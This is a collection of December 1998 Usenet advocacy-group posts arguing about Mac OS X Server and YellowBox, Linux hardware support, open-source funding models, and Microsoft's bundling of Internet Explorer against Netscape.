Message-ID: <pvkf2.1730$gH5.785@news.rdc1.sdca.home.com>
Date: Mon, 21 Dec 1998 04:53:41 GMT
NNTP-Posting-Date: Sun, 20 Dec 1998 20:53:41 PDT
Organization: @Home Network
In <367ba4fd.0@stan.astra.co.uk> mmalcolm crawford wrote:
> In <7YCd2.4401$f97.3735@news.rdc1.sdca.home.com> Rex Riley wrote:
>
> > > > I will predict one thing if Apple bundles WO4 with OS X and prices
it
> at
> > > 1.5K
> > > > or higher AND doesn't show OS X with SMP kernel and SMP boxes by
> > > > at the worst MacWorld 99 that Server will effectively be dead.
> > > >
> > > I predict it won't be.
> >
> > Is this another of your predictions like OS X server shipping Nov99?
> >
> I posted a while back that I did not *predict* that OS-X would ship in
> November (there were two dates involved for a start), and further that I
had
> my own reasons for making the bet.
> Check Dejanews for details.
>
mmalc we don't need DejaNews for this... you bet OS X to ship in Nov.
You're correct.
> > Or just another veiled attempt to direct discussion in some personal
> direction?
> >
> I don't understand whay you're implying by this.
>
> I'm simply stating my belief that even if the conditions are not met,
Server
> will not be "dead".
>
>
Now when you post, I don't know whether you are predicting since it is a
form of bet without risk or redirecting the discussion down some path, for
your own reasons...
-r
PS - OSX server won't die but YB BusinessPlans will be put on "ice"
From: "Stormer" <stormer@nospam.mediaone.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <367A87F4.ECBD2BBC@klassy.com> <367a8c8c.47321204@news2.asan.com> <367A95A1.B378DE8C@klassy.com>
Subject: Re: Why can't MS ship a browser? Everyone else does.
Message-ID: <PHkf2.2904$qF5.6003179@lwnws01.ne.mediaone.net>
Date: Mon, 21 Dec 1998 00:09:05 -0500
NNTP-Posting-Date: Mon, 21 Dec 1998 00:06:55 EDT
Organization: Northeast Region--MediaOne
Then TURN IT OFF. It is an option.
Bill F.
>Like browsing the hard drive or opening a window etc etc. I will still be
using IE every day.
>
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 21 Dec 1998 00:41:34 -0500
Organization: phenix@interpath.com
Message-ID: <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > The Carbon route happens to have the additional advantage of enabling
> > the current Mac developers to support their (millions of) existing
> > pre-G3 customers as well fairly easily.
> >
> Yes, which is why YB is being advised for *new* products which will run on
> *future* systems.
I know that the situations aren't exactly parallel but I've heard that
before with MacApp...
--
John Moreno
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-5DYndd6wVMs2@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <367969ed.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-dWbOR7wbd7i7@localhost> <75gi0a$lcg@news1.panix.com> <FIiROLCWddLd-pn2-EOB1ltR6vkyY@localhost> <75n37t$lro@news1.panix.com>
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Date: 22 Dec 98 08:32:31 GMT
On Tue, 22 Dec 1998 03:21:33, sal@panix.com (Sal Denaro) thought
aloud:
> On 20 Dec 98 08:30:07 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >On Sat, 19 Dec 1998 15:50:34, sal@panix.com (Sal Denaro) thought
> >aloud:
> >> I didn't say anything about a toolkit. If you head over to:
> >> ftp://ftp.accentcomm.com/pub/downloads/Rhapsody/NE2K-0.91b.html
> >> you'll see the readme file of someone who used Linux driver code to
> >> Rhapsody DR2 on Intel.
> <<clip>>
> >Nevertheless, although the above method of using Linux sources as a
> >starting point isn't quite as automagic as I had pictured in my mind,
> >it's still a valid approach to improve Mac OS X/Intel's hardware
> >compatibility score. But even using this kind of manual Linux driver
> >conversion the effort needed to give Mac OS X/Intel first class driver
> >support would be a pretty huge undertaking whether it's done by Apple
> >or by individual aficiados with time and skills on their side. So,
> >unless Apple got their DriverKit spitting out Mac OS X and Linux
> >compatible drivers and it became widely adopted by the Linux community
> >I would still say that Linux has a clear advantage in hardware
> >compatibility on the x86 platform.
>
> I agree with your point, but how much hardware do you have to support
> to hit 50% of the PC market?
Meaning that every other PC in use would be compatible? Or every other
piece of hardware? If it's the latter, put together a random sample of
PCs with on average every other component supported and see how many
of them actually work. :-)
To actually get 50% marketshare on PC's one would, I believe, have to
support something like 95-99% of the hardware combinations out there,
out of the box. (my humble guesstimate)
> There are perhaps a dozen graphics chipset,
> half dozen SCSI controllers and a handful of ethernet cards that are the
> most common. Support those, and make IOKit open and the other common
> ones will be filled in.
>
> (BTW, few of the graphics chipsets out there are supported with HW
> acceleration under Linux with XFree86. If Apple can put out a dozen,
> the'll offer support comparable to Xfree86)
The above mentioned coverage would sound acceptable to the high-end
users - even I would be interested in it and willing to (re-)build a
PC to run it provided it was within affordability, but if Apple wants
to target the larger PC market (which lead us to the driver support
issue) with MOSX/Intel the user experience should be damn near
perfectly smooth. IBM spent huge amounts of money to write drivers for
OS/2 ending up with extensive hardware support but nevertheless
drivers were always an issue with new variations of a theme popping up
daily. It's the classic chicken and egg problem - until a platform
reaches mainstream the hardware manufacturers don't bother supporting
it, especially if it's an OS by a "competiting" (at some of the many
levels; e.g. popular sound card maker X might not want to support
Apple's OS because Apple is bundling brand Y on their hardware...)
hardware maker. Linux gets around this problem by being "neutral
ground" by its nature. Compaq, Dell, IBM etc. can provide driver
support for Linux and find it in their best interest, but why would
they do any work to support a platform owned by Apple when it's 'not
necessary'? AFAICT, only an OS with no hardware-tied affiliations
could hope to succeed in becoming mainstream in the PC market. Since
we were talking about getting into mainstream my pick would be adding
value to Linux instead.
> >In a recent study 58% (error margin ~10%) of enterprise users were
> >looking forward to a credible competitor to Microsoft's offerings. The
> >above mix should cater to most needs, wallets and levels of commitment
> >rather well. And same should apply to the desktop users too.
>
> The problem is that Apple has almost zero credibility in the enterprise
> market. Support for Linux won't change that anymore than support for NT.
> It will be years of WO success stories before Apple is seen as anything
> more than a toy company.
Linux already is in the enterprise - and gaining - while... I tried to
address the NT issue above by showing that there is growing demand for
an alternative to Microsoft.
Apple can increase their presence in the enterprise market slowly and
still see large yearly growth figures. If NT support changes that a
little then surely Linux support would add up too. Besides, NT users
are often nudged, or pulled screaming, towards a serene all-Microsoft
solution scenario. NT also provides companies with very little or no
incentive to move to PowerPC systems while with Linux that remains a
possibility.
Brgds,
--
taiQ
[this space was intentionally blank]
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
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<qcDd2.4402$f97.3735@news.rdc1.sdca.home.com> <367705A9.2E8E1132@nstar.net>
<SCOTT.98Dec16112323@slave.doubleu.com> <Y4ee2.75$u04.92@news.rdc1.sdca.home.com>
<SCOTT.98Dec18100942@slave.doubleu.com>
Message-ID: <Colf2.2066$gH5.785@news.rdc1.sdca.home.com>
Date: Mon, 21 Dec 1998 05:54:42 GMT
NNTP-Posting-Date: Sun, 20 Dec 1998 21:54:42 PDT
Organization: @Home Network
In <SCOTT.98Dec18100942@slave.doubleu.com> Scott Hess wrote:
> In article <Y4ee2.75$u04.92@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) writes:
>
> In <SCOTT.98Dec16112323@slave.doubleu.com> Scott Hess wrote:
> > In article <367705A9.2E8E1132@nstar.net>,
> > "Michael J. Peck" <mjpeck@nstar.net> writes:
> > Rex Riley wrote:
> > Unfortunately, "Public Radio" and "Public Television" use
> > "Public" with a capital 'P', meaning that they're heavily
> > tax-subsidized, and subject largely to the artistic outlook
> > of, say, the National Endowment for the Arts.
> >
> > I'm _not_ going to go there... my goal is to meet my "using
> > public" halfway. I don't want to be paid market rates for my
> > non-billable time. Rather, I'm looking for a justifiable way to
> > motivate me over the hump of _finishing_ some of these little
> > utilities. ["Finish" meaning things like Preferences panels -
> > when you have the source, you don't need a Preferences panel
> > :-).]
>
> This has a simple, personal closure aspect that belies the PBS
> metaphor, maybe.
>
> I'll admit that. But regarding the "public good" aspect, I'm talking
> about OpenSourcing stuff along the lines of the Qt license
> (http://www.troll.no/qpl/). Meaning that you get the source, you can
> learn from the source, you can modify the source - but you can't
> distribute the modified source. I expect most users would rather just
> run the pre-packaged binaries, though.
>
>
I get into this argument with the art crowd over copying all the time...
Learning by example is a primary method to knowledge in computer science?
The difference between copying and implementing by example being the
intimacy of knowledge that comes by way of repitition.
I offer that premise to question why the attachment to your original work?
Why not OpenLicense the OpenSource released (not knowing what to call
Opensource license, here)
> I was assuming the cashflow from the PBS campaign would motivate
> your continued development, update and distribution. If I read
> this last "finish" correctly, you simply want to Lighthouse your
> utilities in source code form on a "one-time" contribution basis?
>
> Well, yes, it would also help with continued maintenance. But, to a
> certain extent, once you've got the ball rolling with an involved
> userbase, it's not so hard to keep it moving. But, I, personally,
> find it hard to put in the added effort for a utility that already
> does what I need it to, and is too small to release as shareware or
> commercialware. And I'd rather not arbitrarily package a bunch of
> unrelated utilities to raise the perceived value. [I'm specifically
> thinking of things like TimeMon, here. The initial development took
> all of two hours. Polishing things into something I was proud to put
> on display to the world took _significantly_ longer than that. Back
> then, I had more free time on my hands, though :-).]
>
Understood... the OpenSource crowd would maintain but not distribute
modified works? This leaves TimeMon et.al. in the etherWorld of "patches"
(ie. Linux, ARM, etc...)? This is an acceptable side-effect of not letting
people copy and distribute OpenSource work?
> Really, I'm looking to move from a shareware model ("Scott, Stuart is
> really useful, keep making it more useful") to something a bit less
> specific ("Scott, you do interesting work, keep doing interesting
> work"). This has been in the back of my mind for a long time, because
> I used to get shareware registrations where people would comment on
> whatever _other_ stuff I was doing. It's only in the past year that
> OpenSource went from being considered somewhat extremists to being
> mainstream, and Apple has given me some hope that my base of
> experience will continue to be useful. [In the YellowBox realm, I can
> toss off 100 hours of work resulting in something useful to users on
> its own, and also useful to learners. I couldn't do as well in
> another market, because I don't have the experience there.]
>
>
>
Could it be a two-way street? Could possibly some extremist user contribute
interesting "keystone" (ie. irreducible) patch to one release? What then?
Could you not then _discover_ new commercial purposes for OpenSource code +
patch + 1000's hours of code == commercial product? Nirvana or your worst
nightmare...
> I thought the PBSware was a support model with an economic
> side-effect. Critical mass has little to do. PBSware relies on
> the economic relationship to support the product development goals.
>
> There's more to it than that, though, or at least I intend there to
> be. PBS/NPR certainly do a certain amount of programming that anyone,
> anywhere, would pay good money to have. But they also do programming
> that would never get done elsewhere, because there's no payback from
> it, or at least no immediate payback. There are people like Ken Burns
> who do wonderully epic documentaries. He could probably make a lot
> more money elsewhere, but apparently likes the editorial freedom PBS
> gives him.
>
> _That's_ the flavor of where I'm aiming. I don't want customers to so
> much pay for specific development (like shareware) as pay for
> unspecified development. In a given quarter, perhaps $500 comes in,
> and I might spin that out to a week's worth of work (that I could have
> billed a client $2000 for). If things go well, we setup a positive
> feedback loop - I do work that others find worthwhile, they send in
> bits of money along with good suggestions for future work, leading to
> more involved customers, and a win-win situation.
>
>
The attraction of the PBS/NPR model is the value of "branded content". To
wit: KenBurns Documentaries => ScottHess YBdocumentaries. In the case of
Ken Burns PBS/NPR buy the content - Ken builds his brand of documentary.
The public (PBS) distribution buys the exposure to get a following ± creates
the demand that builds his brand.
Do you want to build brand?
> The economic relationship wouldn't directly fund development, though
> it would provide leverage to get development done. Likewise, good
> user feedback also provides leverage to get development done. The
> economic relationship seems complement the quality of user feedback in
> interesting ways.
>
>
For KenBurns, PBS is the user feedback SugarDaddy and the documentary,
content development of times past in interesting ways.
Does the software PBS model further the art? Or is it a case of a model
chasing interesting solutions?
-r
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Subject: Re: Why can't MS ship a browser? Everyone else does.
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com> <bwyman-2112980659210001@bwyman.tiac.net>
Organization: University of Wuerzburg / Germany
Originator: token@cip
Message-ID: <367e4da6.0@uni-wuerzburg.de>
Date: 21 Dec 98 13:31:18 GMT
In article <bwyman-2112980659210001@bwyman.tiac.net>,
bwyman@neaq.org (Bruce Wyman) writes:
>Hey, wouldn't it be cool if there was some OS that got rid of a lot of
>that space consuming interface in every window? If there were only some
>way to get rid of that confounded menu in *every* window and just move it
>to the top of the screen or something...
That's what Apple has been doing all the time. They have patented it, so
M$ couldn't imitate that behaviour.
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
*CNN NEWSTICKER* BILL GATES COLLABORATES WITH SADDAM! 3 DEFENSELESS CARRIERS
IN THE GULF OVERTAKEN BY IRAKI ROWINGBOATS AFTER WINDOWSNT WEAPONS- AND NAVI
GATION SYSTEM SERVERS CRASHED! *CNN NEWSTICKER* BILL GATES COLLABORATES WITH
Message-ID: <367F6ADE.9BE4587@255.255.255.255>
From: DrBoom <Everyone@255.255.255.255>
Organization: noun. 1: the condition or manner of being organized
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677e803.1429388@news.pdq.net> <36789560.910B6785@yahoo.net> <MPG.10e6328ec1f84c0e989752@news.dircon.co.uk> <slrn77oajo.69k.jedi@dementia.mishnet> <MPG.10e678385bac722398975d@news.dircon.co.uk> <slrn77qvog.c0a.jedi@dementia.mishnet> <MPG.10e8c3a295d9444f989786@news.dircon.co.uk>
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Date: Tue, 22 Dec 1998 09:45:00 GMT
NNTP-Posting-Date: Tue, 22 Dec 1998 01:45:00 PDT
John Murphy wrote:
> In article <slrn77qvog.c0a.jedi@dementia.mishnet>, jedi@dementia.mishnet
> wrote...
>
> > So, can we assume from that that english is your second or
> > tenth language?
Ve iss der Grammar Gestapo, und ve haf schtrong effidence dot der jedi
ist machen mit der schtinken predicates und artikles!
> > Being actually able to restore your backup is a rather important
> > part of whatever disaster recovery you're trying to do.
Ja, ja! Ve haf der close ties mit der Ministry of der Obvious
Schtatement, und ve haf informed them of der violation of der
jurisdiction.
> > Fighting
> > with WinDOS and it's lack of a real tape drive device driver is
> > really quite annoying as I have stated on many occasions on this
> > group.
Sturm und Drang! Der Apostrophe Apostles vill machen castanets mit der
testicles!
(English translation of post follows.)
1) "So, from that statement we can assume English is your second or
tenth language?"
2) "Any good disaster recovery plan depends on a reliable means to
restore from backup media."
3) "As I have stated many times in this group, fighting with WinDOS --
and its lack of real support for tape drives -- is really quite
annoying."*
* em dashes or parentheses -- your call.
I have arranged to have the following gray matter compiler directives
copylefted for your use and enjoyment:
#include glasshouses.h
#include stdsocialskills.h
#include goldenrule.h
#if bad_mood
#define SENSE_OF_HUMOR
#include <netinet/netiquette.h>
#endif
<point>
If a post annoys you, read it twice -- you probably misunderstood the
author's intent. If it still annoys you, skip to the nest post. Unless
you are trying to make an object lesson. ;-)
</point>
From: 1050pi@netscape.net (Nelson Gerhardt)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Mon, 21 Dec 1998 13:55:45 GMT
Organization: Airnews.net! at Internet America
Message-ID: <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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NNTP-Posting-Time: Mon Dec 21 07:44:09 1998
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On Sat, 19 Dec 1998 16:45:15 -0800, ch3@earthlink.net.rem.ove.this (c
hand) wrote:
>
>
>>There has been much talk about the need for M$ to provide Linux with a
>>ported version of Office so business users would be more open to it.
>>
>>Well, what I'm afraid of is this--Apple will make OSX THE GUI that
>>most non-techies use for Linux. Then M$ makes an Office for OSX...
>>
>>Of course, eventually a nonApple/M$ Axis GUI would become popular, but
>>while that happened M$ would have a huge amount of control over Linux
>>through Apple (for the average end-user)
>>
>
>This has to be the dumbest thing I've ever heard.
>
>BTW, when did Apple ever say they were going to make a GUI for Linux?
They aren't--but the upper levels of OSX are "portable" so potentally
it could be put on top of Linux.
-l
---
ICQ#: 9393354 * "UN-altered REPRODUCTION and DISSEMINATION of this
IMPORTANT information is ENCOURAGED" -- REMcE
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 98 09:00:35 GMT
Organization: P & L Systems
Message-ID: <367f5fb3.0@stan.astra.co.uk>
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<1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net>
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Cc: phenix@interpath.com
In <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> John Moreno wrote:
> Maury Markowitz <maury@remove_this.istar.ca> wrote:
> It's wait and see, because until MacOSX is shipping it's just more
> vaporware, YB is a totally new framework for that vaporware.
>
Not at all; YB is an upgrade to the OPENSTEP frameworks which have been
working very well as a commercial product for a couple of years.
mmalc.
From: "John Daly" <jdaly@ptinet.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 21 Dec 1998 02:26:22 -0800
Organization: PTI Communications
Message-ID: <75l6lv$r2q$1@elwha.ptinet.net>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <3679FC2B.8BBCB160@solarsystems.com> <75ddkk$knj$1@nnrp1.dejanews.com>
>Have you tried replacing MS browser without affecting the OS performance?
>It takes an awful lot of time and patience!
>
>There is no comparison here I think!
>
>Stu.
I don't think so. I installed Opera on this NT4 box, and it co-exists fine
with IE. Nothing conflicts, they both work perfectly for me (sometimes I
like MDI, sometimes I don't, what can I say!)
From: sxr@spam.hotmail.com (Sam)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 21 Dec 1998 10:39:02 GMT
Organization: Magna Data - Internet Solutions Provider
Message-ID: <367e21ea.6383099@news.magna.com.au>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75ivmd$is9$2@csu-b.csuohio.edu> <MPG.10e7783a58cb5c8b989771@news.dircon.co.uk> <slrn77r0fv.m21.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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On 20 Dec 1998 23:02:26 GMT, NOSPAMmbkennelNOSPAM@yahoo.com (Matt
Kennel) wrote:
<Snip>
>If you were running Netscape's business you might have a different opinion.
>It was a $100 Million ++ business to them which evaporated. A hundred
>million dollars is very significant when you have to pay employees.
>
>Microsoft won. Netscape and AOL aren't going to be paying money
>for their employees to work on something which doesn't pay their bills.
>
>It isn't the same way for Microsoft---they get $$$ for every computer with
>Windows. I bet IE development has been at least 25% of the costs devoted
>to Windows 98. Given that it was the only major thing to change from W95,
>it may be even higher.
It was a bogus business model for Netscape to expect to be able to
charge a premium (or any) price for their browser for any extended
period. They had no proprietary technology to lock out other
competitors. They tried to create a super browser, their communicator
suite, it was a big monolithic design.They should have concentrated
more on the server side.
IE4's modular design is far superior, it is completely customisable,
IE5 goes even further. I am sure that if the designs where reversed,
everyone would be bagging Microsoft for creating a poor monolithic
design.
Sam
Newsgroups: comp.sys.next.advocacy
Subject: Re: Performance issue with microkernel based OS
From: gbeggs@escape.ca (Gerry Beggs)
Message-ID: <1dkdhhl.exln9z1yth4umN@tnt02dla210.escape.ca>
References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu> <F42G4v.ALL@T-FCN.Net> <367DC47A.1D948B6@scanavia.com>
User-Agent: MacSOUP/2.4
Date: Mon, 21 Dec 1998 11:59:13 GMT
NNTP-Posting-Date: Mon, 21 Dec 1998 05:59:13 CDT
Organization: MBnet Networking Inc.
Daniel Gayet <daniel@scanavia.com> wrote:
> Do microkernel OS's suffer from the same asymptotic point of diminishing
> returns as monolithic kernels in multiprocessor hardware? In other words,
> will I get 4x the performance from a 4 processor machine if it uses a
> microkernel, or will I get maybe only a 3.1x performance increase?
I don't think this has anything to do with micro vs monolithic kernel.
In fact I don't think this is a software issue at all (or at least not
entirely).
There's the problem that multiple CPU's must (in most cases) share the
same system bus. Once the number of CPU's get very high, there will be
lots of competition for the bus and CPU's will be made to wait more for
every additional CPU you add.
There's also overhead of scheduling multiple CPU's which isn't specific
to a micro-kernel.
In fact I think I remember from a course on Operating Systems I took a
few years ago that there's not much point in going any higher than 16
CPU's without specialized hardware a-la SuperComputers (and even 16
seems a bit much).
--
gbeggs@escape.ca http://www.escape.ca/~gbeggs
From: bwyman@neaq.org (Bruce Wyman)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 21 Dec 1998 06:59:21 -0500
Organization: New England Aquarium
Message-ID: <bwyman-2112980659210001@bwyman.tiac.net>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com>
In article <367d5206.390060@news2.asan.com>, willy1@rocketmail.com (Willy)
wrote:
>I have instant access to all the
> functions of IE without having any of them taking up valuable screen
> space. *That* is an awesome interface.
>
> Unlike Communicator, which takes up about a quarter of your screen
> with it's interface. What do I need all that crap for? It's just
> sitting there doing nothing most of the time. Microsoft decided to
> turn that dead screen space into useful space.
Oooh, I can't resist....
Hey, wouldn't it be cool if there was some OS that got rid of a lot of
that space consuming interface in every window? If there were only some
way to get rid of that confounded menu in *every* window and just move it
to the top of the screen or something...
------------+----------------------------------------------
Bruce Wyman | bwyman@neaq.org <http://www.neaq.org/>
bw@tiac.net | Webmaster, New England Aquarium
------------+---------------------------------------------+
"for whatever we lose (like a you or a me) |
it's always ourselves we find in the sea" -e.e. cummings |
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 21 Dec 1998 14:25:33 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <367e5908.1926950@news2.asan.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com> <bwyman-2112980659210001@bwyman.tiac.net>
On Mon, 21 Dec 1998 06:59:21 -0500, in comp.os.ms-windows.advocacy
bwyman@neaq.org (Bruce Wyman) wrote:
>Oooh, I can't resist....
>
>Hey, wouldn't it be cool if there was some OS that got rid of a lot of
>that space consuming interface in every window?
I think that would be great. It'll give me more space for my work.
However, that's an application issue, not an OS issue. Windows do not
have to have menus or title bars.
Several Microsoft applications (i.e. Word, Excel) have full screen
modes where your work fills the entire screen and you simply use
keyboard commands or right-clicks to get to other features.
From: root@anarchy.gov (-= G D T =-)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Organization: -= Ward Six Entertainment =- (see message for address)
Message-ID: <368034e1.40099231@news1.bway.net>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au>
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NNTP-Posting-Date: Mon, 21 Dec 1998 07:11:26 EDT
Date: Mon, 21 Dec 1998 12:11:24 GMT
|Well they were totally and utterly wrong, Microsoft turned around and
|beat Netscape using the same techniques Netscape was using against
|Microsoft.
Do you realize that originally Netscape was not using ANY techniques
against M$ at all? You know why? BECAUSE M$ DIDN'T HAVE ANY PLAN FOR
MAKING A BROWSER AT THAT TIME! Netscape stumbled onto new territory,
M$ has been fighting to catch up ever since. The original purpose of
Navigator had absolutely nothing to do with taking anything away from
M$. Netscape was focused on the internet, M$ noticed "Holy shit, how
did we miss this? This is the perfect oppurtunity to extort money from
the entire planet!" and developed Exploder. All of M$'s tactics have
been aimed to derail Netscape from the beggining, so M$ could try to
gain control of the WWW. Can you imagine would would be happening now
if this had happened? It's too scary to even think about.
Now as for Netscape's intentions, I think they may have become just as
bad as M$ if they had managed to become a browser monopoly. You'd
probably see them facing the DOJ right now instead of M$. So there
you go, silly Bill did you a favor inadvertantly.
|Yes Microsoft gave away it's browser for free, but who actually paid
|for Netscape ? I used Netscape since it had the M instead of the N
|logo and I never paid for it. it was always available free on the net
|from Netscape.com. I switched to IE at version 4 because it was
|better, no other reason.
Yes, but Netscape was not trying to fight M$. As you say it was free
from the start (although I'm sure they would have started charging
eventually for it), M$ HAD TO make their browser free to fight
Netscape. On top of this, where the anti-trust trial really has some
merit, M$ is now using it's stranglehold on the OS market to dump
Exploder onto everyone's computers. Notice they even have a deal with
Apple. That's what 96% of the desktop market?????
Jeez, if this kind of stuff by M$ keeps up I just may have to get a
Mac........nah :^)
|There was a free CD in a computer magazine the other day, it had the
|FULL LATEST version of IBM Smartsuite, no crippleware, no timebombs,
|nothing. They asked you to buy it if you liked it. Microsoft Office is
|still killing Smartsuite, you can legally buy Smartsuite for bugger
|all. It's OEM price must be $5 judging by the giveaways.
Let's see, but does someone come and shove that CD down your throat
when you install an OS update? And then when you try to remove the CD
from your throat, does someone hit you over the head with a hammer?
That's about what M$ has done with IE and Win98.
|The only thing Microsoft is guilty of is being too successful.
Yes you're right in a way. But too successful at what?! Best products
or best marketing?
/ w A R D s I X e N T E R T A I N M E N T \
http://www.wardsix.com /\ toadeater@wardsix.com
From: root@anarchy.gov (-= G D T =-)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Organization: -= Ward Six Entertainment =- (see message for address)
Message-ID: <36813b01.41667811@news1.bway.net>
